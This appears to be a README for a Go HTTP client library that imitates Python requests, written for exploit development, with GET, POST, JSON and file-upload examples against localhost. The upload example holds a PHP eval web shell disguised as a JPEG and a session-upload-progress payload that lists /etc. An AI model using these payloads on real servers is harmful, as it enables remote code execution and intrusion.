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Grequests

a requests for go

自用go爬虫工具,仿python requests库 在写exp时,发现go其他的组件会有一些问题,所以自己整了一个(自己够用就行) 暂时只写了GET,POST两种请求

Client 请求客户端

type Client struct {
	Proxies  map[string]string  //代理
	Timeout int //超时时限
	RedirectCount int //重定向的次数 默认为 2

}

处理相应结果

//返回响应文本
func Transformresp(resp *http.Response) string{
	defer resp.Body.Close()
	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		log.Fatal(err)
	}

	return string(body)
}

//对响应页面进行转码
func ConvertToString(src string, srcCode string, tagCode string) string {
	srcCoder := mahonia.NewDecoder(srcCode)
	srcResult := srcCoder.ConvertString(src)
	tagCoder := mahonia.NewDecoder(tagCode)
	_, cdata, _ := tagCoder.Translate([]byte(srcResult), true)
	result := string(cdata)
	return result
}

//返回json
func Jsondecode(resp string)  map[string]interface{}{
	r:=make(map[string]interface{})
	json.Unmarshal([]byte(resp),&r)
	return r
}

GET请求

//GET请求

func Get() {
    
    //添加代理或响应头
    var headers map[string]string
    var proxies map[string]string
    var param map[string]string
    
    headers=make(map[string]string,0)
    proxies=make(map[string]string,0)
    param=make(map[string]string,0)
    
    headers["User-Agent"]="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36"
    
    proxies["http"]="http://127.0.0.1:8080"
    param["id"]="1 &1"
    param["name"]="2"
    
    //创建客户端
    clien :=&RequestsTools.Client{
        Proxies: proxies,
        RedirectCount: 3,
    }

    clinet:=clien.CreateClient()
    //请求初始化
    requests:=&RequestsTools.Requests{
        Params:  param,//get参数
        Client:clinet,
        Headers: headers,
    }

    fmt.Println(requests.Text(requests.Get("http://127.0.0.1")))
}

POST请求

//post请求
func Post() {
    //添加代理或响应头
    var headers map[string]string
    var proxies map[string]string
    
    headers=make(map[string]string,0)
    proxies=make(map[string]string,0)
    
    headers["User-Agent"]="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36"
    proxies["http"]="http://127.0.0.1:8080"
    
    clien :=&RequestsTools.Client{
        Proxies: proxies,
        RedirectCount: 3,
    }
    
    clinet:=clien.CreateClient()
    //请求初始化
    requests:=&RequestsTools.Requests{
        Client:clinet,
        Data: "name=adminAL&password=AL1.6.8.5&nonce=02337856be236ef46d4da25e826993b8666c831547acb6b3ed6946705b3bd24e",
        Headers: headers,
    }
    resp:=requests.Post("http://127.0.0.1")
    fmt.Println(ResponseTools.Transformresp(resp))

}

传入json

//传入json
func Postjson()  {
    //添加代理或响应头
    var proxies map[string]string
    
    
    proxies=make(map[string]string,0)
    
    proxies["http"]="http://127.0.0.1:8080"
    
    
    data :="{\"test\":\"penson\"}"
    client:=&RequestsTools.Client{
    Proxies: proxies,
    
    }
    c:=client.CreateClient()
    
    req:=&RequestsTools.Requests{
    Client: c,
    Json: data,
    }
    
    req.Post("http://127.0.0.1")

}

上传文件

func UploadFile() {

func UploadFile() {
    var headers map[string]string
    var proxies map[string]string
    var mutidata map[string]string
    
    headers=make(map[string]string,1)
    proxies=make(map[string]string,1)
    mutidata=make(map[string]string,1)
    
    
    file:=[]string{"file","1.php","<?php eval($_POST['penson'])?>","image/jpeg"}
    
    headers["User-Agent"]="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36"
    //headers["Content-Type"]="text/xml"
    mutidata["PHP_SESSION_UPLOAD_PROGRESS"]="<?php $a=new DirectoryIterator(\"glob:///etc/*\");foreach($a as $f){echo($f->__toString().\\' \\');}exit(0);?>"
    
    proxies["http"]="http://127.0.0.1:8080"
    
    
    client:=&RequestsTools.Client{
        Proxies: proxies,
    
    }
    c:=client.CreateClient()
    requests:=&RequestsTools.Requests{
        Headers: headers,
        File: file,
        MutiData: mutidata,
        Client: c,
    }
    fmt.Println(requests.Post("http://127.0.0.1"))
}

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